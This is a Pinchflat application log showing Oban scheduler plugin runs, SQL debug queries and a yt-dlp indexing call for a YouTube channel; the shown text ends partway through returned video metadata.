{"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.835 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:05:24.919 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:54.922 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.837 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:06:24.925 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:54.928 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.838 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:07:24.931 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:54.933 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.839 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:08:24.936 [info] {"source":"oban","duration":1882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:54.939 [info] {"source":"oban","duration":2061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.839 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:09:24.942 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:54.945 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.841 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:10:24.948 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:54.950 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.842 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:11:24.953 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:54.955 [info] {"source":"oban","duration":1869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.844 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:12:24.958 [info] {"source":"oban","duration":2001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:54.961 [info] {"source":"oban","duration":2054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.846 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:13:24.964 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:54.966 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.848 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:14:24.969 [info] {"source":"oban","duration":1928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:54.972 [info] {"source":"oban","duration":2222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.850 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:15:24.975 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:54.978 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.852 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:16:24.981 [info] {"source":"oban","duration":1847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:54.985 [info] {"source":"oban","duration":2294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.854 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:17:24.987 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:54.990 [info] {"source":"oban","duration":1999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:00.854 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:18:24.993 [info] {"source":"oban","duration":1625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:54.996 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:00.856 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:19:24.999 [info] {"source":"oban","duration":2007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:55.002 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.858 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:20:25.005 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:55.008 [info] {"source":"oban","duration":2206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.860 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:21:25.011 [info] {"source":"oban","duration":2041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:55.014 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.861 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:22:25.017 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:55.020 [info] {"source":"oban","duration":2282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.862 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:23:25.023 [info] {"source":"oban","duration":2077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:55.026 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.864 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:24:25.028 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:55.031 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.865 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:25:25.034 [info] {"source":"oban","duration":2101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:55.037 [info] {"source":"oban","duration":1914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.866 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:26:25.040 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:55.043 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.868 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:27:25.046 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:55.049 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.869 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:28:25.052 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:55.055 [info] {"source":"oban","duration":2206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:00.870 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:29:25.058 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:55.061 [info] {"source":"oban","duration":2242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.872 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:30:25.064 [info] {"source":"oban","duration":1898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:55.067 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.873 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:31:25.069 [info] {"source":"oban","duration":2182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 18:31:55.072 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.875 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:32:25.075 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:55.079 [info] {"source":"oban","duration":2440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:00.876 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:33:25.081 [info] {"source":"oban","duration":1667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:55.084 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:00.878 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:34:25.085 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:55.087 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:00.880 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:35:25.089 [info] {"source":"oban","duration":2021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:55.092 [info] {"source":"oban","duration":1916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.882 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:36:25.095 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:55.099 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.883 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:37:25.102 [info] {"source":"oban","duration":1878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:55.105 [info] {"source":"oban","duration":1691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.884 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:38:25.108 [info] {"source":"oban","duration":1686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:55.111 [info] {"source":"oban","duration":2117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.886 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:39:25.114 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:55.117 [info] {"source":"oban","duration":2245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.887 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:40:25.120 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:55.123 [info] {"source":"oban","duration":1699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.887 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:41:25.126 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:55.129 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.888 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:42:25.132 [info] {"source":"oban","duration":2072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:55.135 [info] {"source":"oban","duration":2196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:00.890 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:43:25.138 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:55.141 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.892 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:44:25.144 [info] {"source":"oban","duration":1762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:55.147 [info] {"source":"oban","duration":1705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:00.893 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:45:25.150 [info] {"source":"oban","duration":1678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:55.153 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.895 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:46:25.156 [info] {"source":"oban","duration":2226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:55.159 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:00.897 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:47:25.162 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:55.165 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.898 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:48:25.168 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:55.171 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:00.899 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:49:25.174 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:55.177 [info] {"source":"oban","duration":2208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.900 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:50:25.180 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:55.183 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.901 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:51:25.186 [info] {"source":"oban","duration":1868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:55.189 [info] {"source":"oban","duration":2111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:00.903 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:52:25.192 [info] {"source":"oban","duration":2069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:55.195 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.904 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:53:25.198 [info] {"source":"oban","duration":2117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:55.201 [info] {"source":"oban","duration":1753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:00.906 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:54:25.204 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:55.207 [info] {"source":"oban","duration":2165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:00.908 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:55:25.210 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:55.212 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:00.910 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:56:25.215 [info] {"source":"oban","duration":1691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:55.218 [info] {"source":"oban","duration":2162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:00.911 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:57:25.221 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:55.225 [info] {"source":"oban","duration":1804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:00.912 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:58:25.228 [info] {"source":"oban","duration":2218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:55.231 [info] {"source":"oban","duration":2294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:00.914 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:59:25.234 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:55.236 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:00.916 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:00:25.239 [info] {"source":"oban","duration":2238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 19:00:55.242 [info] {"source":"oban","duration":1757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:00.918 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:01:25.245 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:33.883 [info] {"args":{"id":34},"id":7245,"meta":{},"system_time":1780441293882715601,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:01:33.884 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=661.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:01:33.885 [debug] QUERY OK source="settings" db=0.5ms idle=662.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:33.887 [debug] QUERY OK source="media_items" db=1.5ms idle=664.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 19:01:33.887 [debug] QUERY OK source="media_items" db=0.2ms idle=12.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [34] 19:01:33.888 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:01:33.888 [debug] QUERY OK source="settings" db=0.0ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:33.888 [debug] QUERY OK source="settings" db=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:33.890 [debug] QUERY OK source="media_items" db=1.0ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [34] 19:01:33.891 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 19:01:33.891 [debug] Current batch of media processed. Will check again in 1000ms 19:01:33.891 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:33.892 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:33.892 [debug] QUERY OK source="settings" db=0.0ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:01:33.892 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@BlueWorldTV --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rory/BlueWorldTV/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/e7/78/e778023852cf9166f92c5b87edff557d2d166ef53710fd39a79c70c3cfdf9f5e.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/91/51/9151f95ad69931cbcf32e5c7c5d5dffd83639321791876a96e6b5b5630ec0fc5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:01:34.892 [debug] Current batch of media processed. Will check again in 1000ms 19:01:35.893 [debug] Current batch of media processed. Will check again in 1000ms 19:01:36.894 [debug] Current batch of media processed. Will check again in 1000ms 19:01:37.895 [debug] Current batch of media processed. Will check again in 1000ms 19:01:38.896 [debug] Current batch of media processed. Will check again in 1000ms 19:01:39.898 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Christine travel to La Paz where they explore a sea once called \"The World's Aquarium\" by famous underwater explorer Jacques Cousteau. Working with Carey Dive Center, they visit a shipwreck hosting a massive school of grunts, a reef with fish being stalked by a cormorant, a colony of playful sea lions, and feeding whale sharks! All in once place! It's an epic underwater adventure!\n\nCheck out Carey Dive Center:\nhttps://buceocarey.com.mx/\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a 